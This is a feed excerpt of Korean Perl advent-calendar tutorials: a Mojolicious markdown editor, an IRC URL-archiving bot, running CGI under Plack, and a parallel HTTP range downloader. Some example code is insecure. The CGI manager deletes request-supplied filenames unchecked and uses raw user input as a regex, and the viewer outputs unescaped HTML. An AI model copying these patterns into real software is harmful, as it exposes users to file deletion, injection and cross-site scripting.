화면의 통일성을 위해 새로운 레이아웃인 <code>layouts/viewer.html.ep</code>를 추가하겠습니다.</p>
<p><code>markdown-editor.pl</code>에 다음 내용을 추가합니다.</p>
<pre class="brush: perl;">
get '/html/:uuid' => sub {
my $self = shift;
my $uuid = $self->param('uuid');
my $markdown = read_file( catfile(app->home, 'mkd', $uuid), binmode => ':utf8');
$self->stash( markdown => $m->markdown($markdown) );
return $self->render('html-viewer');
};
@@ html-viewer.html.ep
% layout 'viewer';
% title 'Seoul.pm Markdown HTML Viewer';
<div class="container">
<div class="row">
<div class="span8">
<%== $markdown %>
</div>
</div>
</div>
@@ layouts/viewer.html.ep
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<!-- Bootstrap -->
<link href="/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" media="screen">
<link href="/css/style.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="navbar navbar-static-top">
<div class="navbar-inner">
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".navbar-responsive-collapse"></a>
<a class="brand" href="/">Seoul.pm Markdown Editor</a>
</div>
</div><!-- /navbar-inner -->
</div><!-- /navbar -->
<%= content %>
<script src="/jquery-1.8.3.min.js"></script>
<script src="/bootstrap/js/bootstrap.min.js"></script>
</body>
</html>
</pre>
<p><code>public/markdown-editor.js</code>에 다음 내용을 추가합니다.</p>
<pre class="brush: jscript;">
function open_html() {
var markdown = $("#editor-markdown").val();
$.post(
"/save",
{
"markdown" : markdown,
"view" : 'html'
},
function(data) { window.open(data.url, 'viewer'); },
"json"
);
}
$("#open-html").click(function() { open_html(); });
</pre>
<p>자, 확인해볼까요?</p>
<p><img src="2012-12-22-5_r.png" alt="새로운 탭에 열기" id="" />
<em>그림 6.</em> 새로운 탭에 열기 (<a href="2012-12-22-5.png">원본</a>)</p>
<h2>정리하기</h2>
<p>지금까지의 작업을 살펴볼까요?</p>
<ul>
<li><a href="http://mojolicio.us/">Mojolicious</a>를 이용해 로컬 웹서버를 띄우기</li>
<li><a href="http://twitter.github.com/bootstrap/">Twitter Bootstrap</a>을 사용한 UI를 구성</li>
<li><a href="https://metacpan.org/module/Text::MultiMarkdown">Text::MultiMarkdown</a>을 이용해 마크다운을 HTML로 변환</li>
<li><a href="http://mojolicio.us/">Mojolicious</a>와 <a href="http://jquery.com/">jQuery</a>를 이용해 자료 송수신</li>
<li><a href="http://jquery.com/">jQuery</a>를 이용해 현재 화면을 유지하면서 우측에 HTML로 표시</li>
<li><a href="https://metacpan.org/module/UUID::Tiny">UUID::Tiny</a>를 이용해서 마크다운 문서 저장</li>
</ul>
<p>호오, 얼마되지 않은 작업인줄 알았는데 꽤 많은 일을 하고 있군요.
그 결과 웹서버에 올려 놓고 어디서나 사용할 수 있는 근사한 마크다운 편집기가 탄생했습니다.
사실 저도 이 편집기를 이용해서 오늘 기사를 작성했답니다.
이제 마크다운으로 문서 작성하기가 조금은 더 수월해진 것 같습니다.
여기에서 한단계 더 발전시켜 어떤 기능을 추가하고 어떻게 활용할지는 여러분의 몫입니다.</p>
<p>Don't forget <a href="https://github.com/skyloader/markdown-editor">fork me on GitHub</a>!! ;-)</p>
2012-12-22T00:00:00+09:00skyloaderIRC 떡밥 아카이브 만들기http://advent.perl.kr/2012/2012-12-21.html<h2>저자</h2>
<p>jaker – Perl을 처음 만난 후로 18년, 방관자 또는 초심자로서의 완전체</p>
<h2>시작하며</h2>
<p>초심자로서 Perl을 사용해 어떤 재미난 것을 할 수 있을까 생각해 봤습니다.
평소 IRC를 즐겨 하면서 고수들의 유익한 URL 링크가 공부에 많은 도움이 되고 있습니다.
여러 사정으로 인해 채널에 올라온 정보를 놓치는 경우가 많은데
<a href="https://www.metacpan.org/module/POE::Component::IRC">POE::Component:IRC</a> 모듈과 <a href="https://www.metacpan.org/module/WWW::Mechanize::Firefox">WWW::Mechanize::Firefox</a> 모듈을 사용해서
평소 애용하는 Firefox로 보관해둘 수 있을 거란 생각이 들더군요.
URL 링크는 언제든지 사라질 수도 있어 해당 페이지의 주요 정보를
Firefox로 고스란히 다시 읽어 볼 수 있게 해 보겠습니다.</p>
<h2>준비하기</h2>
<p>아래 모듈을 사용합니다.</p>
<p><a href="https://www.metacpan.org/module/POE::Component::IRC">POE::Component:IRC</a> 모듈 - POE에서 제공하는 이벤트 기반 IRC 클라이언트 모듈
<a href="https://www.metacpan.org/module/WWW::Mechanize::Firefox">WWW::Mechanize::Firefox</a> 모듈 - Firefox 자동화 제어 모듈. Mozrepl 플러그인이 필요합니다.
<a href="#mozrepl">Mozrepl Add-on</a> – Firefox, Thunderbird 등 모질라 응용 제어용 콘솔 애드온</p>
<h3 id="mozrepladd-on">MozRepl Add-on 설치하기</h3>
<p>Firefox를 실행하고 메뉴에서 <code>Add-ons -> Search</code>를 순서대로 선택하고 MozRepl로 검색합니다.
결과에서 MozRepl을 선택하면 손쉽게 설치할 수 있습니다.</p>
<p><img src="2012-12-21-1_r.png" alt="MozRepl 설치 화면" id="mozrepl" />
<em>그림 1.</em> MozRepl 설치 화면 (<a href="2012-12-21-1.png">원본</a>)</p>
<p>정상적으로 설치하고 활성화되면 telnet을 지원하는 터미널 프로그램을 통해
localhost의 4242 포트로 접속하면 아래와 같은 화면을 확인할 수 있습니다.</p>
<p><img src="2012-12-21-2_r.png" alt="Repl Console 접속 화면" id="replconsole" />
<em>그림 2.</em> Repl Console 접속 화면 (<a href="2012-12-21-2.png">원본</a>)</p>
<p>콘솔 명령을 통해 직접 제어가 가능합니다.
나오려면 <code>repl.quit()</code>을 입력하려면
자세한 문서는 <a href="https://github.com/bard/mozrepl/wiki">위키</a>를 참고하세요.
그러면 이제 실제로 작성한 코드로 넘어가겠습니다.</p>
<h2>실행코드</h2>
<p>먼저 완전한 소스코드는 아래와 같습니다.</p>
<pre class="brush: perl;">
use strict;
use warnings;
use POE qw(Component::IRC);
use WWW::Mechanize::Firefox;
use POSIX qw(strftime mktime);
my $nickname = 'jaker_poe';
my $ircname = 'jaker_poe';
my $username = 'jaker_poe';
my $server = 'irc.freenode.net';
my $default_path = 'F:\down\irc';
my @channels = ('#perl-kr');
my $irc = POE::Component::IRC->spawn(
nick => $nickname,
ircname => $ircname,
username => $username,
server => $server,
debug => 1,
) or die "Oh noooo! $!";
POE::Session->create(
package_states => [
main => [ qw(_default _start irc_001 irc_public) ],
],
heap => { irc => $irc },
);
$poe_kernel->run();
sub _start {
my $heap = $_[HEAP];
my $irc = $heap->{irc};
$irc->yield( register => 'all' );
$irc->yield( connect => { } );
return;
}
sub irc_001 {
my $sender = $_[SENDER];
my $irc = $sender->get_heap();
print "Connected to ", $irc->server_name(), "\n";
$irc->yield( join => $_ ) for @channels;
return;
}
sub irc_public {
my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
my $nick = ( split /!/, $who )[0];
my $channel = $where->[0];
if ( my ($url) = $what =~ /((^http|^https)\:\/\/(.+))/ ) {
$irc->yield( privmsg => $channel => "$nick: 잘 먹겠습니다." );
download_page($url);
}
return;
}
# We registered for all events, this will produce some debug info.
sub _default {
my ($event, $args) = @_[ARG0 .. $#_];
my @output = ( "$event: " );
for my $arg (@$args) {
if ( ref $arg eq 'ARRAY' ) {
push( @output, '[' . join(', ', @$arg ) . ']' );
}
else {
push ( @output, "'$arg'" );
}
}
print join ' ', @output, "\n";
return;
}
sub download_page {
my $url = shift;
my $savename = strftime("%Y%m%d%H%M%S", localtime);
my $mech = WWW::Mechanize::Firefox->new(
launch => 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe',
autoclose => 0,
activate => 1,
);
print $url;
$mech->get($url) or return;
$mech->save_content("$default_path\\$savename.html", "$default_path\\$savename");
}
</pre>
<p>POE::Component::IRC 모듈의 사용 방법은 <a href="https://www.metacpan.org/module/POE::Component::IRC">CPAN 문서</a>에 나와있는
예제 코드를 그대로 사용하였으며,
채널 메시지의 핸들링을 담당하는 <code>irc_public()</code> 서브루틴만 일부 수정 하였습니다.</p>
<h2 id="urllink">URL Link 체크하기</h2>
<p>그러면 <code>irc_public()</code> 서브루틴을 자세히 보겠습니다.
채널의 메시지가 <code>http</code> 또는 <code>https</code>로 시작하는 URL 형식으로 확인되면
감사의 인사를 채널에 내보내고,
저장(archive) 처리를 수행하는 <code>download_page()</code> 서브루틴을 호출합니다.</p>
<pre class="brush: perl;">
sub irc_public {
my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
my $nick = ( split /!/, $who )[0];
my $channel = $where->[0];
if ( my ($url) = $what =~ /((^http|^https)\:\/\/(.+))/ ) {
$irc->yield( privmsg => $channel => "$nick: 잘 먹겠습니다." );
download_page($url);
}
return;
}
</pre>
<h2>페이지 내려받기</h2>
<p><code>download_page()</code> 서브루틴입니다.</p>
<pre class="brush: perl;">
sub download_page {
my $url = shift;
my $savename = strftime("%Y%m%d%H%M%S", localtime);
my $mech = WWW::Mechanize::Firefox->new(
launch => 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe',
autoclose => 1,
activate => 1,
);
print $url;
$mech->get($url) or return;
$mech->save_content("$default_path\\$savename.html", "$default_path\\$savename");
}
</pre>
<p>데이터를 저장할 기본경로(<code>F:\down\irc</code>) 아래에
<code>년월일시분초</code>를 이름으로 하는 HTML 파일 이름과 디렉토리를 생성하고,
<code>save_content()</code> 메소드로 페이지 소스와 JS, CSS, 이미지 등을 내려받고 브라우저 또는 브라우저 탭을 닫습니다.
내려받은 데이터는 Firefox나 기타 웹 브라우저를 사용해 읽어 들일 수 있습니다.</p>
<p><img src="2012-12-21-3_r.png" alt="데이터 저장 디렉토리 화면" id="" />
<em>그림 3.</em> 데이터 저장 디렉토리 화면 (<a href="2012-12-21-3.png">원본</a>)</p>
<h2>정리하며</h2>
<p>IRC 이외에 좀더 다양한 커뮤니케이션 서비스를 통해 URL 링크 등의 정보를 수집하고
WWW::Mechanize::Firefox 모듈의 기능을 충분히 사용하면
실무에 활용할 수 있는 가능성이 많이 열려있을 것 같습니다.
다양한 자동화 기능을 구현하면서 그 가능성을 확인해 보는 재미를 느껴보는 것은 어떨까요?</p>
2012-12-21T00:00:00+09:00jakerPlack으로 웹 서버 없이 CGI 스크립트 실행하기http://advent.perl.kr/2012/2012-12-20.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> -
개인 자료라고 믿기 어려울 정도의 방대한 Perl 자료를 제공하고 있는
<a href="http://gypark.pe.kr/">gypark.pe.kr</a>의 주인장, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>들어가며</h2>
<p>예전에 리눅스 서버에서 만든 CGI를 윈도우에서 써 보고 싶은데, 짧은 CGI 스크립트를 하나 쓰자고 Apache 웹 서버를 설치하는 건 과하다 싶었습니다.
그렇다고 요즘 많이 쓴다는 Dancer나 Mojolicious 같은 웹 프레임워크를 따로 배워서 새로 스크립트를 작성하자니 이것도 배보다 배꼽이 더 큰 느낌이었죠.
그런데 Plack을 사용하여 기존 CGI 스크립트를 그대로 실행할 수 있었습니다. 이 글에서는 간단한 예를 통해 그 과정을 설명합니다.</p>
<h2>준비물</h2>
<p>사용하는 모듈은 아래와 같습니다.</p>
<ul>
<li><a href="https://www.metacpan.org/module/PSGI">PSGI</a> - 펄 웹 서버 게이트웨이 인터페이스 스팩</li>
<li><a href="https://www.metacpan.org/module/Plack">Plack</a> - 웹 프레임워크와 웹 서버를 위한 PSGI 툴킷</li>
<li><a href="https://www.metacpan.org/module/CGI::Emulate::PSGI">CGI::Emulate::PSGI</a> - CGI 환경을 위한 PSGI 어댑터</li>
<li><a href="https://www.metacpan.org/module/Plack::App::CGIBin">Plack::App::CGIBin</a> - Plack 서버의 cgi-bin 대안</li>
</ul>
<h2 id="psgiplack">PSGI와 Plack은 무엇인가</h2>
<p>사실 저는 여전히 잘 모르겠습니다. :-) 다만 문서에서 읽은 설명에 의하면 아래와 같습니다.</p>
<ul>
<li>CGI가 웹 서버와 CGI 스크립트 사이의 인터페이스를 제공하듯이,
PSGI는 펄 기반 웹서버와 펄 기반 웹 애플리케이션 사이의 인터페이스를 제공합니다.</li>
<li>PSGI는 스펙만 명시하고 있고, Plack은 PSGI를 구현한 일종의 레퍼런스 구현체입니다.</li>
</ul>
<h2>설치</h2>
<p>윈도우7에 <a href="http://strawberryperl.com/">Strawberry Perl 5.14</a>를 쓰고 있는데, Plack 모듈의 경우 설치할 때 테스트에서 무수히 많은 에러가 나서 설치가 안 되었습니다. 정확한 이유는 모르겠고, 일단은 <code>notest force install Plack</code> 명령을 써서 강제로 설치해 주었는데, 큰 문제는 없었습니다.</p>
<h2>간단한 스크립트 예제</h2>
<p>간단한 CGI 스크립트 예제입니다. 이 코드 자체가 중요한 건 아니지만, 읽는 분들이 곧바로 실험해 볼 수 있게 코드 전체를 적었습니다.
이 CGI 스크립트는 간단한 텍스트 파일 관리자입니다. 다음과 같은 일을 합니다.</p>
<ul>
<li>다른 파라메터 없이 실행하면, 현재 디렉토리에 있는 모든 <code>*.txt</code> 파일의 내용을 보여줍니다.</li>
<li>검색창에 텍스트를 넣고 검색 버튼을 누르면 그 텍스트가 들어있는 파일만 보여줍니다.</li>
<li>"선택한 파일 삭제" 버튼을 누르면 "Delete?" 체크박스에 체크한 파일을 삭제합니다.</li>
</ul>
<p>원래는 실험 결과 이미지를 포함한 HTML 파일 여러 개를 한 눈에 보면서 불 필요한 걸 지우고 중요한 건
다른 폴더로 옮기는 용도로 만들었던 스크립트였습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
# index.pl
# 현재 폴더 안의 모든 텍스트 파일의 내용을 보여주거나
# 검색한 단어가 들어 있는 파일만 보여주거나
# 선택한 파일들을 삭제하는 스크립트
use strict;
use warnings;
# no warnings 'redefine';
use CGI;
my $HEADING_STYLE = 'background-color: #aaaacc; margin-top: 10pt; padding: 2pt';
my $q = new CGI;
main:
{
print $q->header(-type => "text/html; charset=UTF-8");
# html 헤더
print <<EOF;
<head>
<title>Manage text files</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<p>
EOF
# 검색 form
print
$q->start_form(-action=>"./index.pl"). "\n"
. "Text Search : "
. $q->textfield('content' , '', 20, 20)
. "\n"
. "<br /><br />\n"
. $q->submit('search', '검 색')
. "\n"
;
# 선택한 파일 삭제
if ( $q->param('delete') ) {
print "<hr />\n";
print "<ul>\n";
foreach my $file ( $q->param('delete_files') ) {
unlink $file;
print "<li>delete $file</li>\n";
}
print "</ul>\n";
}
# 모든 파일 또는 검색 텍스트를 포함한 파일들 출력
my @matches = sort glob("*.txt");
my $content = $q->param('content') || "";
if ( $q->param('search') and $content ) {
# 파일내용 검색
@matches = grep { text_match($_, $content) } @matches;
}
print "<hr />\n";
foreach my $file ( @matches ) {
print $q->h1({-style=>$HEADING_STYLE}, $file);
print $q->checkbox(-name => 'delete_files', label => 'Delete?', -value => $file),"<p>\n";
print "<pre>\n", file_content($file), "\n</pre>\n";
}
print "<p>";
print $q->submit('delete', '선택한 파일 삭제');
print $q->end_form();
# html 나머지 부분 출력
print <<EOF;
</body>
</html>
EOF
}
# $file 을 읽어서 $search 가 매치되는지 여부 반환
sub text_match {
my ( $file, $search ) = @_;
open my $in, "<", $file;
my $text;
{
local $/ = undef;
$text = <$in>;
}
close $in;
if ( $text =~ /$search/i ) {
return 1;
}
return 0;
}
# $file 파일의 내용 반환
sub file_content {
my $file = shift;
open my $in, "<", $file;
my $text;
{
local $/ = undef;
$text = <$in>;
}
close $in;
return $text;
}
</pre>
<p>다음 스크린샷은 각각의 기능을 테스트하는 모습을 보여줍니다.</p>
<p><img src="2012-12-20-1_r.png" alt="테스트하는 모습" id="" />
<em>그림 1.</em> 테스트하는 모습 (<a href="2012-12-20-1.png">원본</a>)</p>
<h2 id="plack">plack을 써서 구동하기</h2>
<p>이 스크립트를 윈도우에서 실행해 보겠습니다.
먼저, CGI 환경을 에뮬레이트해주는 <a href="https://www.metacpan.org/module/CGI::Emulate::PSGI">CGI::Emulate::PSGI</a> 모듈을
사용하여 기존 스크립트를 구동하는 PSGI 스크립트를 만듭니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
# app.psgi
use strict;
use warnings;
use CGI::Emulate::PSGI;
use Plack::Builder;
my $index = CGI::Emulate::PSGI->handler(
sub {
do "index.pl";
CGI::initialize_globals() if defined &CGI::initialize_globals;
}
);
</pre>
<p>이 스크립트를 <code>plackup</code> 프로그램을 써서 구동시킵니다.</p>
<pre class="brush: plain;">
D:\psgi_example> plackup app.psgi
HTTP::Server::PSGI: Accepting connections at http://0:5000/
</pre>
<p>디폴트로 5000번 포트를 사용합니다.
웹브라우저에서 <a href="http://127.0.0.1:5000">http://127.0.0.1:5000</a> 주소에 접속하면 짜잔~ 똑같은 화면이 나옵니다.
검색이나 파일 삭제 기능도 그대로 동작합니다.</p>
<h2>둘 이상의 스크립트를 사용해야 할 때</h2>
<p>위의 예제에서는 주소에 접속했을 때 무조건 <code>index.pl</code> 스크립트를 띄우게 됩니다.
두 개 이상의 스크립트를 사용할 경우는 <a href="https://www.metacpan.org/module/Plack::Builder">Plack::Builder</a> 모듈을 사용하여,
각 스크립트에 대응하는 URL을 장착(mount)해 줍니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
# multi.psgi
use strict;
use warnings;
use CGI::Emulate::PSGI;
use Plack::Builder;
my $cgi1 = CGI::Emulate::PSGI->handler(
sub {
do "cgi1.pl";
CGI::initialize_globals() if defined &CGI::initialize_globals;
}
);
my $cgi2 = CGI::Emulate::PSGI->handler(
sub {
do "cgi2.pl";
CGI::initialize_globals() if defined &CGI::initialize_globals;
}
);
builder {
mount "/cgi1.pl" => $cgi1; # URL => 핸들러
mount "/cgi2.pl" => $cgi2;
}
</pre>
<p>또는, 아예 다수 스크립트가 들어있는 디렉토리를 통채로 지정하여 사용할 수도 있습니다.
<a href="https://www.metacpan.org/module/Plack::App::CGIBin">Plack::App::CGIBin</a> 모듈을 사용합니다.</p>
<pre class="brush: perl;">
#!perl
# bin.psgi
use strict;
use warnings;
use Plack::App::CGIBin;
use Plack::Builder;
my $app = Plack::App::CGIBin->new(root => "./")->to_app; # "./"은 실제 스크립트가 있는 디렉토리
builder {
mount "/" => $app; # 여기에 "/"는 URL에 해당하는 경로
};
</pre>
<p><a href="http://127.0.0.1:5000/cgi1.pl">http://127.0.0.1:5000/cgi1.pl</a>와 같이 접속할 수 있습니다.
이렇게 해서, 과거에 만들어 사용하던 CGI 스크립트를, 무거운 웹 서버 설치없이 손쉽게 재사용할 수 있었습니다.</p>
<h2>기타 사항</h2>
<p>1.
<code>plackup</code>으로 웹 서버를 띄운 상태에서도 CGI 스크립트를 수정하면 변경 사항이 곧바로 반영이 됩니다.
그러나 PSGI 스크립트 쪽을 수정할 경우는 <code>plackup</code>을 재시작해야 합니다. 이것이 불편하면 <code>--reload | -r</code> 옵션을 쓸 수 있습니다.</p>
<pre class="brush: plain;">
plackup -r app.psgi
</pre>
<p>2.
CGI 스크립트에 서브루틴이 정의되어 있으면 웹 브라우저로 접속할 때마다 서브루틴이 재정의되었다는 경고문이 콘솔 창에
뜹니다. 이것은 CGI 스크립트 쪽에 <code>no warnings 'redefine'</code> 프라그마를 넣어서 없앨 수 있습니다.</p>
<p>3.
제가 실제로 사용했던 스크립트의 경우, 내부에 <code>system()</code> 함수를 써서 외부 프로그램을 실행하는 루틴이 있었는데,
<code>system()</code>의 인자로 썼던 <code>"path/to/binary"</code> 경로명의 슬래시가 윈도우에서는 문제가 되어서, 백슬래시를 써서
<code>"path\\to\\binary"</code> 형태로 고쳐주어야 했습니다.</p>
<h2>참고</h2>
<ul>
<li>http://plackperl.org/ - PSGI/Plack 공식 홈페이지</li>
<li>http://advent.plackperl.org/ - Plack Advent Calendar.</li>
</ul>
2012-12-20T00:00:00+09:00gyparkHTTP 다운로드에 날개를http://advent.perl.kr/2012/2012-12-19.html<h2>저자</h2>
<p>John_Kang - SE, Seoul.pm의 철권 2번 타자</p>
<h2>시작하며</h2>
<p>관리하는 서버가 미국에 있는 관계로 간혹 대용량 컨텐츠를
다운받는 시간이 업무의 많은 시간을 차지하는 경우가 있습니다.
그래서 때로는 screen 세션에 다운로드를 걸어두고 퇴근을 하거나,
lftp의 mirror 옵션을 이용하여 병렬 전송을 이용하여
여러 개의 컨텐츠를 동시에 내려받곤 합니다.
그런데 간혹 단일 대용량 파일은 약간의 꼼수를 이용하기도 합니다.
즉, 대용량 파일을 64개로 분리하여 lftp 옵션을 이용하여 병렬 다운로드한 후 다시 합치는 것입니다.
(lftp의 병렬 옵션 최댓값이 64입니다.)</p>
<p>서론은 걷어 버리고..
HTTP 컨텐츠를 빠르게 받을 수 있는 방법에 대해 소개해 보겠습니다.</p>
<h2 id="http">HTTP 부분 요청</h2>
<p>먼저, HTTP 부분 요청(partial requeset)입니다.
HTTP 헤더는 마치 서버 측에 전달하는 환경 변수처럼 사용됩니다.
사용자의 설정을 저장하거나, 요청 방법에 변화를 주어야 할 때 등의 상황에 쓰입니다.
우리가 설정해야 하는 헤더는 <code>Range</code> 헤더입니다.
<code>Range</code> 헤더에 원하는 바이트의 시작과 끝 범위를 명시하여 HTTP 부분 요청을 통해
서버가 해당 바이트만큼만 응답(response)하게 합니다.</p>
<h2>컨셉</h2>
<p>아래와 같이 목표를 설정하였습니다.</p>
<ul>
<li>하나의 HTTP::Request 객체를 생성합니다.</li>
<li>HTTP::Range 모듈을 통해 Range 헤더가 설정된 여러 개의 HTTP 요청을 생성합니다.</li>
<li>병렬 처리를 위해 HTTP::Async 모듈을 사용합니다.</li>
<li>이때 HTTP::Async 모듈은 여러 개의 프로세스를 생성하지 않고 이벤트 기반으로 동작하기 때문에
다수의 프로세스가 하나의 리소스(로컬 디스크에 쓰여져야 하는)에 접근할 때 발생하는 경쟁 상태 등의 문제를
해결할 수 있습니다.</li>
<li>하나의 파일 핸들을 열어 <code>seek()</code> 함수를 이용해 해당 파일의 커서를 이동시킨 후 해당 부분에 <code>write()</code>합니다.</li>
<li>오류가 발생하면 해당 요청의 인덱스 값을 반환하게 합니다. 오류 값이 반환되면 <code>--re-trans</code> 옵션에 해당 인덱스를
인자로 주어 해당 바이트 부분만 다시 내려받을 수 있도록 합니다.</li>
</ul>
<h2>준비물</h2>
<ul>
<li><a href="https://www.metacpan.org/module/HTTP::Async">HTTP::Async</a> - 블락하지 않고 HTTP 병렬 요청을 지원하는 모듈</li>
<li><a href="https://www.metacpan.org/module/HTTP::Range">HTTP::Range</a> - HTTP 요청을 다수의 세그먼트로 분리하는 모듈</li>
<li><a href="https://www.metacpan.org/module/LWP::UserAgent">LWP::UserAgent</a> - 웹 User Agent</li>
<li><a href="https://www.metacpan.org/module/Getopt::Long">Getopt::Long</a> - 명령행 인자 처리 모듈</li>
</ul>
<h2>만들어봅시다</h2>
<p>완성된 코드를 읽어내려가면서 하나씩 알아봅시다. </p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use autodie;
use HTTP::Async;
use HTTP::Range;
use LWP::UserAgent;
use Getopt::Long;
</pre>
<p>명령행 옵션 처리를 위해 변수를 선언합니다.</p>
<pre class="brush: perl;">
my $agent = 'Mozilla/5.0';
my $segment = 32;
my $url;
my @re_trans;
GetOptions(
"agent=s" => \$agent,
"segment=i" => \$segment,
"url=s" => \$url,
"re-trans=i{,}" => \@re_trans,
"help" => sub { usage() },
);
</pre>
<p>간단한 예외처리를 합니다.</p>
<pre class="brush: perl;">
usage() unless defined $url;
die "The segment value shoud be great than 1\n" if $segment == 1;
</pre>
<p>디스크에 저장될 파일명을 GET 요청의 파일명과 동일하게 유지합니다.</p>
<pre class="brush: perl;">
## get the filename from the $url
my $file = ( split q{/}, $url )[-1];
</pre>
<p>HTTP의 HEAD 메소드를 이용하여 해당 컨텐츠의 헤더 정보를 가져와 컨텐츠의 사이즈 정보를 얻어 옵니다.</p>
<pre class="brush: perl;">
my $head_req = HTTP::Request->new( HEAD => $url );
my $head_res = LWP::UserAgent->new->request( $head_req );
my $size = $head_res->header( 'Content-Length' );
my $mtime = $head_res->header( 'last-modified' );
</pre>
<p><code>User-Agent</code> 헤더와 GET 요청을 이용하여 <code>HTTP::Request</code> 객체를 생성합니다.</p>
<pre class="brush: perl;">
my $headers = HTTP::Headers->new( 'User-Agent' => $agent );
my $get_req = HTTP::Request->new( GET => $head_req->url ,$headers);
</pre>
<p><code>HTTP::Range</code> 모듈의 <code>split()</code>은 하나의 <code>HTTP::Request</code> 객체를
<code>Range</code> 헤더가 설정된 여러 개의 <code>HTTP::Request</code> 객체로 분리하여 리스트로 반환합니다.</p>
<pre class="brush: perl;">
# divide a single HTTP request object into many
my @requests = HTTP::Range->split(
request => $get_req,
length => $size,
segments => $segment,
);
</pre>
<p>혹시 모를 손실된 요청 때문에 또 다른 시간을 보내야 할 수도 있습니다.
그런 터무니 없는 시간을 뺏기지 않기 위해 각 요청에 인덱스를 할당하여
실패한 요청은 <code>@failed</code>에 담아 다시 해당 부분만 내려받을 수 있게 합니다.</p>
<pre class="brush: perl;">
## make index for the request object
my $i = 0;
my @failed;
my %index = map { $_->{_headers}{range}, $i++ } @requests;
</pre>
<p><code>HTTP::Async</code>의 기본 슬롯 갯수는 10개 입니다.
원하는 만큼의 작업을 병렬로 처리하기 위해 해당 값을 <code>$segment</code> 값으로 설정합니다.</p>
<pre class="brush: perl;">
my $async = HTTP::Async->new( slots => $segment );
my $fh;
</pre>
<p><code>@re_trans</code>는 명령행 옵션에 의해 값이 할당되며,
이 값이 있으면 사용자는 실패된 바이트에 대해 다시 내려받기를 원할 것입니다.
그리고 내려받은 바이트를 덮어쓰기 위해 파일핸들 속성을 <code>RDWR</code>로 엽니다.</p>
<pre class="brush: perl;">
## to check if the request is for re-transmission.
if (@re_trans) {
foreach my $seg ( (@requests)[@re_trans] ) {
$async->add( $seg );
}
# to overwrite the part of content with indexes
open $fh, '+<', $file;
}
</pre>
<p><code>HTTP::Async</code>가 처리해야 할 작업을 모두 <code>add()</code>합니다.
여기서 <code>HTTP::Async</code>가 처리해야 할 작업은 <code>HTTP::Request</code> 객체입니다.
<code>HTTP::Range</code>가 하나의 요청 객체를 여러 개로 쪼개주었기 때문에
우리는 <code>HTTP::Range</code>의 <code>split()</code> 메소드가 반환한 리스트 전체를 넘겨 주면 됩니다.</p>
<pre class="brush: perl;">
# ...
else {
foreach my $seg ( @requests ) {
$async->add( $seg );
}
# to create/truncate the file in order to download fully.
open $fh, '>', $file;
}
</pre>
<p><code>wait_for_next_response()</code> 메소드는 일정 시간 단위로 실행 중인 작업들을 관찰하여
완료된 작업을 <code>$res</code>로 할당하면, 우리는 여기서 파일에 써주는 작업을 하면 됩니다.</p>
<pre class="brush: perl;">
while ( my $res = $async->wait_for_next_response ) {
</pre>
<p>해당 요청에 대한 응답 헤더의 <code>Content-Range</code> 헤더 값을 통해
어디서부터 얼마만큼 어디까지 바이트를 받았는지 확인할 수 있습니다.</p>
<p>여기서 중요한 부분은 여러 개의 파일을 별개로 다운받아 합치는 과정이 아니라
한 파일에 써야 한다는 것입니다.
<code>seek()</code> 함수를 통해 파일 핸들의 커서를 이동한 후
해당 위치에 내려받은 바이트스트림를 써야 합니다.
간단합니다!
HTTP 요청에 있는 <code>Content-Range</code>의 범위 중에 시작 부분이 우리가 옮겨야 할 커서의 위치입니다.</p>
<pre class="brush: perl;">
# while ( my $res = $async->wait_for_next_response ) {
if ($res->is_success) {
# response header : content-range => 'bytes 0-1172064/11720643'
$res->headers->{'content-range'} =~ /bytes (\d+)-/;
my $cursor = $1;
seek $fh, $cursor, 0;
print {$fh} $res->decoded_content;
}
# ...
# }
</pre>
<p>해당 요청이 실패하면 간단한 출력과 함께
해당 요청의 인덱스 번호를 <code>@failed</code> 배열에 담아 프로그램 종료와 함께 출력하여
사용자가 <code>--re-trans</code> 옵션을 통해 해당 바이트 부분만 다시 다운로드하여 덮어쓸 수 있게 합니다.</p>
<pre class="brush: perl;">
# while ( my $res = $async->wait_for_next_response ) {
# if ($res->is_success) {
# ...
# }
else {
my $req_seg = $res->{_request}{_headers}{range};
warn "error occured : ", $index{$req_seg}, "\n";
push @failed, $index{$req_seg};
}
}
close $fh;
print "Failed with following index : @failed\n" if @failed;
</pre>
<p>마지막으로 <code>usage()</code> 함수로 프로그램의 사용 방법을 출력합니다.</p>
<pre class="brush: perl;">
## subroutines
sub usage {
print <<"USAGE";
-a, --agent : User Agent, "$agent" is default
-h, --help : print help message
-r, --re-trans : If you encountered some errors while to download content with parallel
: You can get the indexes at the end of the execution.
-s, --segment : A number of job queue, $segment is default
: 1 value of the segments won't work
-u, --url : Download URL, This should be an absolute with http:// or https://
: Install LWP::Protocol::https if you want to use HTTPS
Usage : $0 -u download_url [ -s int ] [ -a agent ] [ -r failed indexes ]
example : $0 -u http://something.com/movie.avi -s 128
: $0 -u http://something.com/movie.avi -s 128 -a 'Mozilla/6.0' -r 1 2 3
USAGE
exit 1;
}
</pre>
<h2>정리하며</h2>
<p>갑(甲) 입장에서 작업처리 속도에 대한 기대는 끝이 없는 것 같습니다.
물론 어떤 컨텐츠를 다운받는 상황에서 보면 자기 자신이 갑이죠!!
다운로더에게 날개를 달아주어 이에 부응할 수 있게 만들어 보았습니다. :)</p>
<p>벤치마크한 자료를 정리하지 못해 많은 아쉬움이 남습니다.
테스트 과정에서 약 40% 이상의 속도 향상이 있었습니다.</p>
<p>장황하게 생각했던 부분들이 <code>HTTP::Range</code>와 <code>HTTP::Async</code> 모듈에 의해 간단히 끝나버려
